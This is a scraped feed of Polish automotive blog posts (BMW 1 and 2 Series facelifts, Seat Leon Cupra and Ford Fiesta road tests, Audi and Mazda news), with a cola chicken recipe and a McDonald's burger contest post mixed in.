3

3

Mój sprzęt

Pytacie mnie czasem, jakiego używam sprzętu. Poniżej lista mniej więcej wszystkich aparatów, kamer i akcesoriów, z krótych korzystam. Aparat Obiektyw 1 … Artykuł Mój sprzęt pochodzi z serwisu wieruszewski.com.Pytacie mnie czasem, jakiego używam sprzętu. Poniżej lista mniej więcej wszystkich aparatów, kamer i akcesoriów, z krótych korzystam. Aparat Obiektyw 1 Obiektyw 2 Mikrofon 1 Mikrofon2 Osłona na mikrofon GoPro 1 GoPro 2 Gimbal Przyssawka GoPro Dron Statyw 1 Statyw 2 Statyw podróżny Slider Przyssawka 1 + Przyssawka 2 Laptop Artykuł Mój sprzęt pochodzi z serwisu wieruszewski.com.

BMW Serii 1 Facelifting [Genewa 2015]

BMW Serii 1 Facelifting [Genewa 2015]

Po czterech latach od wprowadzenia do produkcji drugiej generacji BMW Serii 1 przyszedł czas na facelifting. W końcu pozbyto się nieproporcjonalnych, jak dla niektórych, przednich reflektorów, tylne zPo czterech latach od wprowadzenia do produkcji drugiej generacji BMW Serii 1 przyszedł czas na facelifting. W końcu pozbyto się nieproporcjonalnych, jak dla niektórych, przednich reflektorów, tylne zaś postanowiono powiększyć. Nie obyło się także bez przemodelowania zderzaków. Wewnątrz znajdziemy nowe poszycia foteli, nowy sposób sterowania multimediami i automatyczną klimatyzacją, która teraz jest już oferowana w standardzie. Pod maską także dużo się dzieje. Po raz pierwszy BMW Serii 1 jest teraz oferowane z wysokoprężnymi i benzynowymi 3-cylindrowymi silnikami turbo o pojemności 1,5 litra. Wersja 116d generuje moc 116 KM a 116i – 109 KM. Najmocniejsza odmiana- M135i, wyposażona w 3-litrowy silnik doładowany daje kierowcy do dyspozycji 326 KM. Wersja z manualną skrzynią biegów i napędem na tylną oś przyspiesza do setki w 5,1 sekundy. Jeśli doposażymy nasze M135i w 8-biegowy automat Steptronic przyspieszenie do setki skróci się do 4,9 sekundy, a jeśli dodatkowo zdecydujemy się na napęd xDrive, poczekamy już tylko 4,7 sekundy. Ulepszony automat pozwala teraz na uzyskanie jeszcze lepszych wyników spalania i współpracuje z nawigacją, przez co szybciej przewiduje zmiany biegów.

Patronat medialny Autokult.pl: Motovblog 2014

Autokult

Patronat medialny Autokult.pl: Motovblog 2014

MOTOVBLOG 2014 to ponad 11 000 kilometrów, 15 państw Europy, 25 dni w trasie, 2 koła, 2 cylindry, 1 motocykl, 1 człowiek i zero ograniczeń! Autokult.pl objął patronat medialny nad tą inicjatywą, a o jMOTOVBLOG 2014 to ponad 11 000 kilometrów, 15 państw Europy, 25 dni w trasie, 2 koła, 2 cylindry, 1 motocykl, 1 człowiek i zero ograniczeń! Autokult.pl objął patronat medialny nad tą inicjatywą, a o jej szczegółach przeczytacie poniżej.Czytaj więcej w Autokult.pl

Mercedes CLA 45 AMG od B&B-Automobiltechnik

Mercedes CLA 45 AMG od B&B-Automobiltechnik

Niemiecki tuner B&B-Automobiltechnik wprowadził do oferty pakiet dedykowany Mercedesowi CLA 45 AMG, który oferuje trzy opcje zwiększenia mocy 2.0 l silnika turbo, generującego seryjnie 360 KM. EtaNiemiecki tuner B&B-Automobiltechnik wprowadził do oferty pakiet dedykowany Mercedesowi CLA 45 AMG, który oferuje trzy opcje zwiększenia mocy 2.0 l silnika turbo, generującego seryjnie 360 KM. Etap 1 zawiera wzmocnienie do 400 KM (1.298 euro). Etap 2 za 3.950 euro pozwoli na osiągnięcie 425 KM i 540 Nm, natomiast etap 3 oznacza 450 KM i 580 Nm (6.950 euro). Najmocniejsze CLA 45 AMG od B&B-Automobiltechnik osiąga setkę w zaledwie 3,8 d oraz osiąga prędkość maksymalną 300 km/h. B&B-Automobiltechnik wraz z większą mocą oferuje sportowe zawieszenie, 20-calowe koła ze stopów lekkich i wydajniejsze hamulce.

BMW Serii 1 i Serii 2 kolejnej generacji z napędem na przednią oś?

BMW Serii 1 i Serii 2 kolejnej generacji z napędem na przednią oś?

BMW M135i po liftingu w nowej galerii zdjęć

BMW M135i po liftingu w nowej galerii zdjęć

BMW przeprowadziło lifting BMW Serii 1 około 2 miesiące temu. Teraz pokazało topową odmianę Jedynki w obszernej galerii zdjęć. Czy lifting przysłużył się M135i?Czytaj więcej w Autokult.plBMW przeprowadziło lifting BMW Serii 1 około 2 miesiące temu. Teraz pokazało topową odmianę Jedynki w obszernej galerii zdjęć. Czy lifting przysłużył się M135i?Czytaj więcej w Autokult.pl

Seat Leon ST Cupra 280 [test]

Seat Leon ST Cupra 280 [test]

Seat Leon ST jest świetną propozycją dla rodziny szukającej kompaktowego kombi z ciekawą stylistyką i niemiecką jakością wykonania. Producent miał również w ofercie Leona Cupra, która skradła serca wielbicieli szybkiej jazdy. Co w takim razie zrobić, jeśli jesteście głową...Seat Leon ST jest świetną propozycją dla rodziny szukającej kompaktowego kombi z ciekawą stylistyką i niemiecką jakością wykonania. Producent miał również w ofercie Leona Cupra, która skradła serca wielbicieli szybkiej jazdy. Co w takim razie zrobić, jeśli jesteście głową rodziny i jednocześnie lubisz mieć pod maską większą liczbę koni? Odpowiedź jest prosta Seat Leon Cupra ST. Na nasz parking zawitała odmiana Cupra 280 z manualna skrzynią biegów. W momencie przeprowadzania tego testu Seat wprowadził już do oferty Cuprę 290, która zastępuje wersję 280. Ale różni się ona w zasadzie jedynie wyższą o 10 KM mocą silnika i kilkoma szczegółami technicznymi, o których opowiemy Wam przy okazji testu najświeższej Cupry. Pod maską znajdziemy zatem 2-litrowy silnik benzynowy dający nam możliwość skorzystania z 280 KM oraz 350 Nm. Spięto go z 6-stopniową skrzynią manualną, która przekazuje polecenia kierowcy na przednią oś. Co z tego wynika? Mnóstwo frajdy z jazdy! Dzięki mechanicznemu dyfrowi w zakrętach nie zabraknie nam trakcji, a ostry jak brzytwa układ kierowniczy zapewnia nam pełną kontrolę. Początkowo myślałem, że ręczna skrzynia biegów jest mniej odpowiednim wyborem niż dwusprzęgłowe DSG, ale po kilku dniach spędzonych z tym egzemplarzem zmieniłem zdanie. Owszem, automat szybciej zmieni bieg, przy okazji przyjemnie strzelając za naszymi plecami z wydechu, ale jednak zabawa ze sprzęgłem i machanie lewarkiem to jest to czego oczekujemy od tego typu samochodu. Pierwszą setkę osiągniemy już po 6 sekundach, a brak ogranicznika prędkości zadziwi wszystkich posiadaczy Mercedesów AMG czy BMW M, kiedy pędząc 250 km/h na niemieckiej autostradzie ujrzą w lusterku trójkątne LEDy Seata Leona proszące o ustąpienie miejsca. Tak, Leon Cupra potrafi rozpędzić się do prędkości ponad 270 km/h. Cupra to także obniżone o 25 mm adaptacyjne zawieszenie, które jest w stanie zmienić swój charakter w zależności od naszych potrzeb za pomocą zmiany trybu jazdy DCC. Ile jazda Cuprą będzie nas kosztowała? To zależy od naszego temperamentu. Jeśli ostrożnie obchodzimy się z pedałem gazu w trasie komputer pokładowy pokaże nam spalanie na poziomie 6,5 litra na każde 100 kilometrów. Jazda po mieście to już około 8-9 litrów. Używanie Cupry zgodnie z jej przeznaczeniem, czyli podczas dynamicznej jazdy, poskutkuje spalaniem między 11 a 13 litrami benzyny. Nie jest to zły wynik zważając na fakt jak bardzo wszechstronne jest to auto. Nasze 280-konne kombi pomieści w bagażniku 587 litrów bagażu. Foremne kształty oraz niski próg załadunku także zaliczamy do listy zalet. Dodatkowym ułatwieniem jest możliwość szybkiego złożenia kanapy, a także podłoga, którą możemy ustawić na dwóch różnych wysokościach. Maksymalna pojemność, po rozłożeniu oparć tylnych foteli wynosi 1470 litrów. O zaletach wnętrza Seata Leona pisaliśmy Wam już wielokrotnie przy okazji testowania innych egzemplarzy. Cupra wyróżnia się jedynie bardziej sportowymi fotelami, kierownicą, nakładkami na progi z logo Cupra, oraz zegarami wyskalowanymi do 300 km/h. Dla tych, którym jeszcze czegoś brakuje Seat przygotował jeszcze mocniej trzymające w zakrętach fotele ze zintegrowanymi zagłówkami. Nasz egzemplarz Cupry ST został skonfigurowany tak, że tylko znawcy zauważą, że coś tu się kroi. Czarny lakier sprytnie maskuje zderzaki z dużymi wlotami z przodu, oraz dwie końcówki układu wydechowego z tyłu. Jedyną rzeczą, która może zdradzić niecne zamiary są krwistoczerwone zaciski opcjonalnego układu hamulcowego Brembo, wyglądające spod eleganckich wieloramiennych 19-calowych felg. Ceny Seata Leona Cupry ST zaczynają się od 114.700 złotych. Dostaniemy wtedy wersję Cupra 265 z manualną skrzynią biegów. Podstawowa Cupra 290 to wydatek 129,500 złotych. Dopłata do skrzyni DSG wynosi w obu przypadkach 6,100 złotych. Jak już wspominałem, w ofercie nie ma już testowanej przez nas wersji Cupra 280, ale zainteresowanym zdradzę, że nasz egzemplarz kosztował 158,908 złotych. Doposażono go między innymi o system nagłośnienia składający się z 10 głośników, czujniki parkowania, asystenta świateł drogowych oraz pasa ruch, aktywny tempomat a także pakiet Performance Black, który składa się z wydajniejszego układu hamulcowego Brembo, 19-calowych felg oraz opon Michelin Pilot Sport Cup 2 (których niestety nie mogliśmy wypróbować ze względu na sezon zimowy). Możemy więc śmiało stwierdzić, że praktyczność, sportowe zacięcie oraz rozsądne koszty idą ze sobą w parze. Jeśli chodzi o konkurencję, niemal z tego samego podwórka wyjeżdża Golf R Variant z 300-konnym silnikiem oraz napędem na 4 koła, ale jego cena zaczyna się dopiero od 166,690 tysięcy złotych. Oprócz niego jedynym samochodem, który można wziąć także pod uwagę jest Ford Focus ST z 250-konnym silnikiem EcoBoost. Jego cennik zaczyna się od 119,600 złotych, ale oferuje on nam wyraźnie mniejszą moc, a także wyłącznie manualną skrzynię biegów. Wybór wydaje się być oczywisty. Dane Techniczne: Napęd Rodzaj silnika: benzynowy, doładowany, R4 Pojemność: 1 984 cm3 Oś napędzana: przednia Moc maksymalna: 280 KM / 5600 rpm Maks. moment Obr: 350 Nm / 1700-5600 rpm Skrzynia biegów: 6-biegowa manualna Nadwozie Długość / Szerokość / Wysokość: 4 535 / 1 816 / 1 451 mm Rozstaw osi: 2 620 mm Pojemność bagażnika w litrach: 587 / 1 470 Masa własna: 1 466 kg Dane eksploatacyjne Przyspieszenie od 0 do 100 km/h: 6,1 s Prędkość maksymalna: 273 km/h Zużycie paliwa – trasa: 6,5 l/100km Zużycie paliwa – miasto: 9,0 l/100km Zużycie paliwa – cykl mieszany: 7,4 l/100km Pojemność zbiornika paliwa: 50 litrów Emisja CO2 [g/km]: 157 [See image gallery at motofilm.pl]

BMW Serii 2 Gran Tourer [Genewa 2015]

BMW Serii 2 Gran Tourer [Genewa 2015]

Przednionapędowe BMW Serii 2 Active Tourer urosło i pojawiło się na targach w Genewie pod postacią BMW Serii 2 Gran Tourer, która potrafi zabrać na swój pokład nawet siedem osób. Dodatkowo pomieści prPrzednionapędowe BMW Serii 2 Active Tourer urosło i pojawiło się na targach w Genewie pod postacią BMW Serii 2 Gran Tourer, która potrafi zabrać na swój pokład nawet siedem osób. Dodatkowo pomieści przy tym 645 litrów bagażu. Natomiast gdy złożymy wszystkie tylne fotele pojemność ta wzrasta do aż 1905 litrów. Dwa fotele w trzecim rzędzie są chowane w podłodze, i wygodnie zmieszczą się na nich jedynie dzieci. BMW oferuje Serię 2 Gran Tourer w czterech wersjach wyposażenia: Advantage, Sport Line, Luxury Line oraz M Sport. W Europie będzie ona oferowana w sześciu wersjach silnikowych: benzynowe: 3-cylindrowe 216i oraz 218i z 1,5-litrowym silnikiem o mocy 115 oraz 136 KM i 220i z 4-cylindrowym silnikiem turbodoładowanym generującym moc 192 KM oraz. Ofertę diesli zasilają: 3-cylindrowe 216d o mocy 116 KM, 4-cylindrowe 218d o mocy 150 KM oraz 220d xDrive o mocy 190 KM. Wszystkie wersje silnikowe, oprócz 220i oraz 220d, w standardzie połączone są z 6-biegowym manualem, ale za dopłatą można do nich zamontować także 6-biegowy automat. Wspomniane 220i oraz 220d w wersji z automatem maja tych biegów aż 8.

Nowe BMW serii 1 2015 [Facelift]

Nowe BMW serii 1 2015 [Facelift]

BMW oficjalnie zaprezentowało nowy model serii 1. Obecna, druga generacja BMW serii 1 zadebiutowała w 2011 roku i łącznie z pierwszą generacją znalazła prawie dwa miliony nabywców. BMW serii 1 otrzymaBMW oficjalnie zaprezentowało nowy model serii 1. Obecna, druga generacja BMW serii 1 zadebiutowała w 2011 roku i łącznie z pierwszą generacją znalazła prawie dwa miliony nabywców. BMW serii 1 otrzymało zmiany z przodu – diody LED, inne zderzaki, nerki – oraz z tyłu, gdzie pojawiły się zupełnie przeprojektowane światła. Standardowe wyposażenie nowej „jedynki” obejmuje m.in. automatyczną klimatyzację, czujnik deszczu, system iDrive oraz 6,5-calowy wyświetlacz o wysokiej rozdzielczości. Oferowane będą również pakiety Advantage, Sport Line, Urban Line i M Sport jako alternatywy dla wariantu seryjnego. W opcji nie zabraknie BMW ConnectedDrive, aktywnego tempomatu, najnowszej generacji systemu parkowania, asystenta jazdy oraz kamery cofania. Gama silników będzie obejmowała silniki 3-, 4- i 6-cylindrowe. Najbardziej ekonomicznym wariantem pozostanie model 116d EfficientDynamics Edition z trzycylindrową jednostką o mocy 116 KM. Średnie zużycie paliwa wynosi według producenta 3,4 l paliwa na 100 km, natomiast emisja CO2 89 g/km. Gama wszystkich silników wygląda następująco: BMW 116i – trzycylindrowy 1.5-litrowy o mocy 109 KM i 180 Nm BMW 118i – czterocylindrowy 1.6-litrowy o mocy 136 KM i 220 Nm BMW 120i – czterocylindrowy 1.6-litrowy sa 177KS i do 250 Nm BMW 125i – czterocylindrowy 2.0-litrowy sa 218KS I 310 Nm BMW 116d i 116d Efficient Dynamics Edition – trzycylindrowy 1.5-litrowy o mocy 116 KM i 270 Nm 118d i 118d BMW xDrive – czterocylindrowy 2.0-litrowy o mocy 150 KM i 320 Nm 120d i 120d BMW xDrive – czterocylindrowy 2.0-litrowy o mocy 190 KM i 400 Nm BMW 125d – czterocylindrowy 2.0-litrowy o mocy 224 KM i 450 Nm BMW M135i / M135i xDrive – sześciocylindrowy 3.0-litrowy o mocy 326 KM i 450 Nm Jako alternatywę dla standardowej sześciobiegowej manualnej skrzyni producent oferuje 8-biegowy automat oraz napęd na wszystkie cztery koła xDrive. Ceny w Niemczech za BMW serii 1 startują od 22.950 euro. Model M135i xDrive został wyceniony na 46.050 euro. BMW serii 1, nowe BMW 1, BMW 1, BMW, seria 1, BMW serii 1 F20

Każdy model BMW otrzyma opcję hybrydową

Niemiecki koncern potwierdza, że w przyszłości chce, aby wszystkie jego modele miały w ofercie napęd hybrydowy. Jak to wpłynie na cenę aut? Najnowsze auto od...Post Każdy model BMW otrzyma opcję hybryNiemiecki koncern potwierdza, że w przyszłości chce, aby wszystkie jego modele miały w ofercie napęd hybrydowy. Jak to wpłynie na cenę aut?Najnowsze auto od BMW, które otrzyma napęd hybrydowy to model X5. Ten pojawi się w sprzedaży już w przyszłym roku. Następnie klienci mogą się spodziewać takiej opcji dla nowej Serii 3 oraz Serii 2 Active Tourer. Te z kolei będą w sprzedaży od 2016 roku. Jak podkreśla BMW, zaraz potem, czyli już za dwa lata, każdy z modeli tego producenta będzie mieć dostępny w ofercie silnik hybrydowy, począwszy od najmniejszej Serii 1 po ogromne SUV-y X7.- Mamy system modułowy, który pozwala na zastosowanie technologii hybrydowej do każdego modelu BMW. Dzięki temu możemy łączyć silnik elektryczny z benzynowym motorem, który ma trzy, cztery, sześć albo osiem cylindrów, zarówno jeśli chodzi o silnik benzynowy jak i diesel – wyjaśnia Helmuth Wiesler, który w BMW odpowiada za projekt hybrydowego modelu Serii 3. – Każda kombinacja jest możliwa – dodaje.Plany BMW na najbliższą przyszłość są bardzo ambitne. Otóż producent ogłosił, że do roku 2020 chce mieć od 8 do 10 procent udziału w rynku sprzedawanych samochodów hybrydowych na całym świecie. Jak chce tego dokonać? Otóż przede wszystkim zachęci ceną. Dla przykładu nowy model hybrydowej trójki ma kosztować tyle samo co wersja 328i, będzie mieć przy tym takie same osiągi, za to dużo niższe spalanie. Producent twierdzi, że nawet o 50 procent.Post Każdy model BMW otrzyma opcję hybrydową pojawił się poraz pierwszy w MotoDay.pl.

Wymarzony burger, Kielce, KONKURS, bloger u boku i VIP PARTY, czyli full opcja w Twoim zasięgu.

Wymarzony burger, Kielce, KONKURS, bloger u boku i VIP PARTY, czyli full opcja w Twoim zasięgu.

Wszystko jak w tytule. W nawigacji wbita już trasa na ,,VIP PARTY". Jeżeli masz kilka chwil swojego cennego czasu na zbyciu to sprawdź swoje umiejętności twórcze, a być może dotrzesz ze mną do celu jako pierwszy.Niebawem McDonald's szykuje w Kielcach nie lada gratkę, w jednej z restauracji pojawi się nowa usługa, a będzie to nowość na rynku polskim. Miejscem akcji sąwięc Kielce.  Powolutku i od początku. Jak już wiecie często bywam w przeróżnych rozjazdach. Jak każdy Polak zjeść co nieco dobrego zawsze lubię – zwłaszcza burgery :) Zawsze w jedzeniu najgorsze jest jednak to, że każdy z nas ma ten swój wymarzony smak i rzadko się zdarza, że jest taki sam jak kucharza czyt. nie zawsze jemy dokładnie to co byśmy chcieli zjeść. Przez żołądek do serca, czyli KONKURS czas zacząć. Wszyscy mają marzenia, dlatego chcę poznać Wasze. Zadaniem konkursowym jest opisanie swojego wymarzonego smaku burgera. Dwa najbardziej kreatywne zgłoszenia zostaną nagrodzone. Nagroda? Spotkanie ze mną czytaj wspólna obecność na VIP PARTY w ten czwartek, 3 marca więc całkiem niebawem. Impreza odbywa się w Kielcach, więc to taki bardziej regionalny konkurs, chociaż jeżeli jesteście z innego rejonu i nie jest dla Was problemem, aby dojechać do Kielc na imprezę to również przesyłajcie zgłoszenia. Zgłoszenia konkursowe ślijcie na mój adres mailowy aktywnymaz@gmail.com w temacie wpisując ,,CreateYourTaste". Czasu macie niewiele, bowiem na zgłoszenia czekam do 1 marca, do wtorku do 23:59! W środę, 2 marca, w okolicach południa wyłonię dwie osoby. Zgłodniałem. Powodzenia i mam nadzieję do zobaczenia! #CreateYourTasteAMStrefa Kulturalnej Jazdy

BMW zmienia silniki w niemal wszystkich modelach. Dominują małe trzycylindrowe jednostki!

To nie żart. Najważniejsze modele marki będą miały już latem tego roku całkiem nowe silniki. Mniejsze pojemności, mniej cylindrów, ale więcej koni. Spora zmiana u...Post BMW zmienia silniki w niemal wTo nie żart. Najważniejsze modele marki będą miały już latem tego roku całkiem nowe silniki. Mniejsze pojemności, mniej cylindrów, ale więcej koni.Spora zmiana u niemieckiego producenta we niemal wszystkich najważniejszych modelach. Zacznijmy jednak po kolei. BMW Serii 1 otrzyma trzycylindrowy silnik 1,5-litra o mocy 136 KM. Będzie on nosić oznaczenie 318i. W takiej konfiguracji to małe autko bawarskiego producenta ma się rozpędzać do pierwszych 100 km/h w 8,5-sekundy.W Serii 2 też zajdą zmiany. Rodzinny Gran Tourer podobnie jak Seria 1, będzie mieć 1,5-litrowy silnik z trzema cylindrami, ale w słabszej wersji o mocy 102 KM (oznaczenie 216i). Ciekawiej jest w palecie diesli. Model 214d też będzie mieć 3 cylindry (moc 95 KM), ale za to 220d już wygeneruje 190 KM. Ta ostatnia powinna być całkiem żwawą konfiguracją dla BMW Serii 2 Gran Tourer. To jednak nie koniec jeśli chodzi o Serię 2. Coupe i Cabrio dostaną dwa diesle 218d i 225d, oba dysponujące odpowiednio mocą 150 i 224 KM.Co będzie czekać Serię 3? Tutaj zdradziliśmy już nieco wcześniej szczegóły przy okazji informacji o liftingu trójki. Dla przypomnienia w sprzedaży będą 340i z silnikiem trzylitrowym, który generuje 326 KM oraz odmiana 335i z motorem 306 KM. Z mniejszych silników benzynowych będzie jeszcze 320i o mocy 184 KM. Zmianie ulegną też oznaczenia. Nie będzie modelu 330i, a 328i. Wszystko rzecz jasna przez zmniejszenie pojemności. Widać, że bezpowrotnie kończą się czasy, kiedy to 330 oznaczało trzylitrową jednostkę.W Serii 3 Gran Turismo i 4 nie zabraknie też diesli. 318d dostanie według trendu 3 cylindry oraz 150 KM, a 320d mieć w trójce moc 190 KM.Zmiany dotkną też większych modeli. BMW X5 sDrive25d oraz xDrive25d mają mieć czterocylindrowe silniki o mocy 231 KM z momentem obrotowym 500 Nm.Oczywiście zmniejszenie pojemności silników ma za zadanie sprostanie coraz bardziej rygorystycznym normom emisji spalin. Jednostki te według producenta będą bardziej ekonomiczne o tych, które teraz dostępne są na rynku. Jak Wam podobają się takie zmiany?Post BMW zmienia silniki w niemal wszystkich modelach. Dominują małe trzycylindrowe jednostki! pojawił się poraz pierwszy w MotoDay.pl.

Marynata do mięsa z kurczaka: Udka w coca-coli

W dzisiejszym wpisie pokażemy Wam dość nietypowy przepis na kurczaka. Do potrawy przygotujemy marynatę z coca-coli, w których będziemy piekli udka z kurczaka. Do przygotowania tego przepisu będziecie potrzebowali: 1 kg podudzia z kurczaka 2 łyżki soli 1/2 szklanki coli 1 czubata łyżka...W dzisiejszym wpisie pokażemy Wam dość nietypowy przepis na kurczaka. Do potrawy przygotujemy marynatę z coca-coli, w których będziemy piekli udka z kurczaka. Do przygotowania tego przepisu będziecie potrzebowali: 1 kg podudzia z kurczaka 2 łyżki soli 1/2 szklanki coli 1 czubata łyżka przecieru pomidorowego 1 łyżka świerzo zmielonego czarnego pieprzu 1 łyżka ostrej prapryki 1 łyżka miodu 1/2 łyżeczki mielonego kminku 2 ząbki czosnku (przez praskę) Podudzia kurczaka dokładnie myjemy i czyścimy. Do miski dodajemy wszystkie składniki i mieszamy aż dobrze się połączą. Mięso z kurczaka zalewamy marynatą i trzymamy je w niej przynajmniej dwie godziny. Najlepiej zostawić je na noc by mięso dokładnie wchłonęło aromaty. Podudzia wkładamy do naczynia żaroodpornego i pieczemy przez minimum godzinę. Piekarnik nastawcie na 180 stopni. Kurczaki z naszego zdjęcia były pieczone nieco dłużej, by coca-cola skarmelizowała się na kurczaku. Pamiętajcie by podczas pieczenia od czasu do czasu polewać i przekręcać mięso. Do takiego kurczaka idealnie będzie pasowała kwaśna sałatka bądź surówka. Smacznego! Zobacz inne marynaty do mięsa Post Marynata do mięsa z kurczaka: Udka w coca-coli pojawił się poraz pierwszy w Lifestyle, technologie, ciekawostki blog kulinarny.

Ford Fiesta Red Edition [test]

Ford Fiesta Red Edition [test]

W czerwcu 2014 roku Ford zaproponował swoim klientom dwie specjalne edycje Fiesty – Black Edition oraz Red Edition. Nam udało się sprawdzić tę bardziej ognistą z nich. Czym się one wyróżniają? Nie zgadniecie! Kolorystyką. Nasz samochód przyozdobiono czerwonym lakierem oraz czarnymi...W czerwcu 2014 roku Ford zaproponował swoim klientom dwie specjalne edycje Fiesty – Black Edition oraz Red Edition. Nam udało się sprawdzić tę bardziej ognistą z nich. Czym się one wyróżniają? Nie zgadniecie! Kolorystyką. Nasz samochód przyozdobiono czerwonym lakierem oraz czarnymi akcentami w postaci felg, lusterek, czy dachu. Oprócz tego pojawia się pakiet ospoilerowania oraz 17-calowe koła. Wewnątrz również jest dwukolorowo. Sportowe fotele przeszyto krwistą nicią, tak samo potraktowano kierownicę oraz skórzane obicia kierownicy, drążka zmiany biegów oraz hamulca ręcznego. Wyzywający wygląd nie pojawia się tutaj bez powodu. Pod maską zamontowano bowiem 3-cylindrowy silnik o pojemności 1 litra. Okej, to nadal nie brzmi zachęcająco. Ciekawiej zaczyna się robić jeśli dodam, że z jednego litra udało się wykrzesać aż 140 koni mechanicznych(choć wygląd zewnętrzny i tak obiecuje dużo więcej). To wszystko dzięki zastosowaniu dosyć dużej turbosprężarki. Co prawda przyspieszenie do 100 km/h trwa około 9 sekund, ale emocji podczas jazdy nie brakuje. Fiesta zachęca do co raz szybszego pokonywania zakrętów tak samo jak nieco mocniejsza siostra ze znaczkiem ST. Oprócz mocnego silnika Ford oferuje nam tutaj zmodyfikowane zawieszenie. Zostało ono zarówno obniżone jak i usztywnione. Skrzynia biegów otrzymała nieco skrócone przełożenia, a kierownica stawia trochę większy opór. To wszystko powoduje, że Fiesta w tej wersji prowadzi się genialnie, aczkolwiek te wszystkie zmiany nie przeszkadzają tak bardzo w jej codziennym użytkowaniu jak w przypadku Fiesty ST. Standardowo silnik oferuje nam 180 Nm, jednak podczas opcji overboost moment ten rośnie do 210. Motor chętnie wkręca się na obroty, brzmi przy tym dosyć ciekawie jak na 3-cylindrową jednostkę, nie jest to męczące wycie. Z czasem przekonamy się jednak jak będzie z jego żywotnością. Niestety taka przyszłość nas czeka w motoryzacji. Downsizing wymusza tworzenie takich jednostek, które najprawdopodobniej nie przetrwają tak wiele jak silniki produkowane jeszcze kilkanaście lat temu. Nasza Fiesta Red Edition wyposażona była dosyć dobrze. Mieliśmy do dyspozycji podgrzewane fotele, tempomat czy system audio marki SONY. Niestety tak świetnie wyglądający kompakt swoje kosztuje. Ceny tego modelu zaczynają się od około 36 tysięcy złotych, natomiast za ten konkretny egzemplarz trzeba zapłacić dokładnie dwa razy tyle czyli 72 000 złotych. To dużo, ale jeśli chcecie się wyróżnić z tłumu, to nie da się tego zrobić inaczej… Dane Techniczne: Napęd Rodzaj silnika: benzynowy turbodoładowany R3 Pojemność: 996 cm3 Oś napędzana: przednia Moc maksymalna: 140 KM / 5700 rpm Maks. moment Obr: 210 Nm / 1600-5000 rpm Skrzynia biegów: manualna 5-biegowa Nadwozie Długość / Szerokość / Wysokość: 3 969 / 1 973 / 1 495 mm Rozstaw osi: 2 489 mm Pojemność bagażnika w litrach: 281 / 974 Masa własna: 1 016 kg Dane eksploatacyjne Przyspieszenie od 0 do 100 km/h: 9,1 s Prędkość maksymalna: 201 km/h Zużycie paliwa – trasa: 5,5 l/100km Zużycie paliwa – miasto: 6,5 l/100km Zużycie paliwa – cykl mieszany: 6,0 l/100km Pojemność zbiornika paliwa: 42 litry Emisja CO2 [g/km]: 104 [See image gallery at motofilm.pl]

Przedłużone Audi A6 L e-tron tylko dla Chińczyków [zdjęcia]

Przedłużone Audi A6 L e-tron tylko dla Chińczyków [zdjęcia]

Na Chiński rynek wkrótce trafi przedłużona wersja Audi A6 e-tron. Pod jej maską znajdziemy 4-cylindrowy silnik TFSI o mocy 211 KM, który został połączony z silnikiem elektrycznym generującym 122 KM. CNa Chiński rynek wkrótce trafi przedłużona wersja Audi A6 e-tron. Pod jej maską znajdziemy 4-cylindrowy silnik TFSI o mocy 211 KM, który został połączony z silnikiem elektrycznym generującym 122 KM. Całość poprzez 8-biegowy automat przenosi łączną moc 245 KM na przednią oś. Auto ma palić zaledwie 2,2 l/100 km a emisja CO2 ma wynosić 52 gr/km. W bagażniku umieszczono baterię litowo-jonową o pojemności 14,1 kWh, która zapewnia zasięg 50 km. Przez jej obecność bagażnik może pomieścić teraz 337 litrów. Łączny zasięg wynosi około 880 km, a bateria jest w stanie się naładować w czasie około 2 godzin. Auto przyspiesza do setki w 8,4 sekundy a prędkość maksymalną ograniczono do 210 km/h. Na trybie elektrycznym EV można jechać aż do 135 km/h.

Nowa Mazda 3 MPS na rynku dopiero za 2 lata

Auto zostanie zbudowane według sprawdzonej receptury i będzie dysponowało mocą około 300 KM. Samochód prawdopodobnie zadebiutuje w drugiej połowie 2016 roku. Zostanie zbudowany na bazie...Post Nowa MaAuto zostanie zbudowane według sprawdzonej receptury i będzie dysponowało mocą około 300 KM.Samochód prawdopodobnie zadebiutuje w drugiej połowie 2016 roku. Zostanie zbudowany na bazie nowej Mazdy 3 i otrzyma agresywniejsze zderzaki z dodatkowymi wlotami powietrza, duże obręcze aluminiowe, sportowy układ hamulcowy, sztywniejsze zawieszenie oraz zmodyfikowany układ wydechowy.Pod maskę trafi 2,5 litrowy turbodoładowany silnik benzynowy o mocy około 300 KM. Seryjnie ma być wyposażone również w napęd na cztery koła. W ten sposób Mazda 3 MPS chce nawiązać walkę z Volkswagenem Golfem R oraz Seatem Leonem Cupra.Nie tylko kompaktowy model producenta ma otrzymać oznaczenie MPS. Mazda pracuje również nad sportową wersją modelu klasy średniej noszącego literę 6. Nie wykluczone jest również, że na rynku pojawi się także Mazda 2 MPS.Post Nowa Mazda 3 MPS na rynku dopiero za 2 lata pojawił się poraz pierwszy w MotoDay.pl - Serwis motoryzacyjny..

Nawigacja w standardzie BMW w Wielkiej Brytanii

Nawigacja w standardzie BMW w Wielkiej Brytanii

Brytyjczycy mogą się już cieszyć, ponieważ od Lipca tego roku, każde nowo kupione BMW w Wielkiej Brytanii będzie standardowo wyposażone w nawigację. Pierwszymi modelami będą Seria 2 Convertible oraz SBrytyjczycy mogą się już cieszyć, ponieważ od Lipca tego roku, każde nowo kupione BMW w Wielkiej Brytanii będzie standardowo wyposażone w nawigację. Pierwszymi modelami będą Seria 2 Convertible oraz Seria 2 Active Tourer. Wkrótce kolejne modele będą sukcesywnie wyposażane standardowo w 6,5-calowy ekran z nawigacją. Obniżone zostaną także ceny ulepszenia do wersji Professional. W Serii 2 Coupe i Convertible oraz Serii 1 będzie to kosztowało zaledwie 900 funtów. Wtedy pojawia się większy, 8,8-calowy wyświetlacz, opcje BMW Online oraz RTTI (Real Time Traffic Information).

Volvo V60 Polestar jako safety car WTCC

